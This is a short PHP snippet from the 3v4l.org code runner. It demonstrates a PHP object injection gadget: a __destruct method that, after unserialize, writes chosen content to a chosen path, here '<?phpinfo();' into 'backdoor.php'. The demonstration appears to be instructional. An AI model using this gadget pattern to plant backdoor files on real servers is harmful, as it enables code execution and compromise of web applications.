3v4l.org

run code in 300+ PHP versions simultaneously
<?php Class some_class { //Public $logfile = “./log/bla.log”; //Public $data = “THIS IS TEMP”; Public function log(){ File_put_contents($this->logfile, $this->data); } Public function __destruct() { $this->log(); } } $a = new some_class; $a->logfile = "./backdoor.php"; $a->data = "<?phpinfo();"; //print serialize($a); $b = serialize($a); unserialize($b);

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39.18 ms | 402 KiB | 5 Q